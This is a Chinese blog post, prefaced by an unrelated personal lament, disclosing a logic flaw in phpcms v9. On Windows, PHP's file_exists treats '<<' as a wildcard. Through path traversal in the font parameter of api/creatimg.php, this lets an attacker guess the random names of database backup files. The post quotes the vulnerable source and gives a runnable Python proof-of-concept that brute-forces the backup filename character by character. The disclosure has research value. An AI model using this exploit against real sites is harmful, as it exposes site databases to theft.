Sh4dow's Blog

活了二十几年,从来没有人给过我一次意外感动或惊喜,也没有人在我生日的时候给过我特别的礼物,生病的时候得到的只是一些不在身边的语言安慰,也不见谁真正的照顾过自己,甚至有的时候自己蒙头睡一觉就好了,也有人喜欢过我,但是从没见谁坚持过。

phpcmsv9一处逻辑漏洞导致备份文件名可猜测

简要描述


一处逻辑漏洞导致备份文件名可猜测,影响所有版本的phpcmsv9。

漏洞详情


一、漏洞原理


我们知道windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用而PHP的opendir(win32\readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。




二、漏洞形成


  程序文件\api\creatimg.php里的$fontfile变量可控随后便进入file_exists函数判断。当文件存在和不存在时所返回的页面是不一样的。所以完全可以利用这个点来把长达30多位随机字母名称的备份文件推算出来(备份文件在web目录)。





<?php

defined('IN_PHPCMS') or exit('No permission resources.');

$txt = trim($_GET['txt']);

if(extension_loaded('gd') && $txt ) {

        header ("Content-type: image/png");

        $txt = urldecode(sys_auth($txt, 'DECODE'));

        $fontsize = isset($_GET['fontsize']) ? intval($_GET['fontsize']) : 16;

        $fontpath = PC_PATH.'libs'.DIRECTORY_SEPARATOR.'data'.DIRECTORY_SEPARATOR.'font'.DIRECTORY_SEPARATOR;

        $fontfile = isset($_GET['font']) && !empty($_GET['font']) ? $fontpath.trim($_GET['font']) : $fontpath.'georgia.ttf';       

        $fontcolor = isset($_GET['fontcolor']) && !empty($_GET['fontcolor']) ? trim($_GET['fontcolor']) : 'FF0000';

        $fontcolor_r = hexdec(substr($fontcolor,0,2));

        $fontcolor_g = hexdec(substr($fontcolor,2,2));

        $fontcolor_b = hexdec(substr($fontcolor,4,2));

        if(file_exists($fontfile)){


                //计算文本写入后的宽度,右下角 X 位置-左下角 X 位置

                $image_info = imagettfbbox($fontsize,0,$fontfile,$txt);

                $imageX = $image_info[2]-$image_info[0]+10;

                $imageY = $image_info[1]-$image_info[7]+5;

                //print_r($image_info);

                $im = @imagecreatetruecolor ($imageX, $imageY) or die ("Cannot Initialize new GD image stream");

                $white= imagecolorallocate($im, 255, 255, 255);

                $font_color= imagecolorallocate($im,$fontcolor_r,$fontcolor_g,$fontcolor_b);

                if(intval($_GET['transparent']) == 1) imagecolortransparent($im,$white); //背景透明

                imagefilledrectangle($im, 0, 0, $imageX, $imageY, $white);

                $txt = iconv(CHARSET,"UTF-8",$txt);

                imagettftext($im, $fontsize, 0, 5, $imageY-5, $font_color, $fontfile, $txt);


        } else {


                $imageX = strlen($txt)*9;

                $im = @imagecreate ($imageX, 16) or die ("Cannot Initialize new GD image stream");

                $bgColor = ImageColorAllocate($im,255,255,255);

                $white=imagecolorallocate($im,234,185,95);

                $font_color=imagecolorallocate($im,$fontcolor_r,$fontcolor_g,$fontcolor_b);               

                $fonttype = intval($_GET['fonttype']);

                imagestring ($im, $fonttype, 0, 0,$txt, $font_color);

        }

        imagepng ($im);

        imagedestroy ($im);       

}

?>




三、漏洞POC


#!/usr/bin/env python

#coding=utf-8

# author: b4dboy

import urllib2



def check(url):

    mark = True

    req = urllib2.Request(url)

    req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')

    response = urllib2.urlopen(req)

    content = response.read()

    if 'Cannot' in content:

        mark = False

    return mark



def guest(target):

    arr = []

    num = map(chr, range(48, 58))

    alpha = map(chr, range(97, 123))

    exploit = '%s/api.php?op=creatimg&txt=bbb&font=/../../../../caches/bakup/default/%s%s<<.sql'


    while True:

        for char in num:

            if check(exploit % (target, ''.join(arr), char)):

                arr.append(char)

                continue


        if len(arr) < 20:

            for char in alpha:

                if check(exploit % (target, ''.join(arr), char)):

                    arr.append(char)

                    continue


        elif len(arr) == 20:

            arr.append('_db_')


        elif len(arr)== 29:

            arr.append('_1.sql')

            break


        if len(arr) < 1:

            print '[*]not find!'

            return


    print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr))



if __name__ == "__main__":

    url = 'https://sh4d0w.lofter.com/'

    #

    guest(url)


评论 ( 1 )

© Sh4dow's Blog | Powered by LOFTER